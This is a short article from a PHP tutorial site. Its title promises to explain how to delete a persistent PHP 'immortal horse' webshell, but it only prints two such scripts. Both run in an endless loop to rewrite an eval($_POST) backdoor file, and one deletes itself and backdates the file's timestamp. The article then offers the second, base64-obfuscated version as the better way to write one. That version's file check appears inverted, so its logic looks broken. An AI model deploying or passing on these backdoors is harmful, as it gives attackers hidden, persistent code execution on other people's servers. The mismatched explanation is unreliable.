Home  >  Article  >  Backend Development  >  How to delete php immortal horse

How to delete php immortal horse

(*-*)浩
(*-*)浩Original
2019-10-10 10:13:414547browse

How to delete php immortal horse

What is the Immortal Horse?

The memory horse, in layman's terms, is the immortal horse, which runs a program that never exits and resides in the PHP process, executing indefinitely.

Generation process (Recommended learning: PHP video tutorial)

无死马.php → Upload to server → Server execution file → Server local unlimited Loop generation (one sentence.php)

无死马circulated on the Internet

<?php ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = &#39;2.php&#39;;
$code = &#39;<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>&#39;;while (1){
    file_put_contents($file,$code);
    system(&#39;touch -m -d "2018-12-01 09:10:12" .2.php&#39;);
    usleep(5000);
} 
?>

无死马circulated on the Internet, while does not judge this file If it exists, then I only need to comment out the shell in this file to bypass your memory Trojan.

The correct posture should be like this:

Copy<?php
 ignore_user_abort(true);
 set_time_limit(0);
 $file = &#39;c.php&#39;;
 $code = base64_decode(&#39;PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+&#39;); while(true) {     if(md5(file_get_contents($file))===md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(50);
 }?>

The above is the detailed content of How to delete php immortal horse. For more information, please follow other related articles on the PHP Chinese website!

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn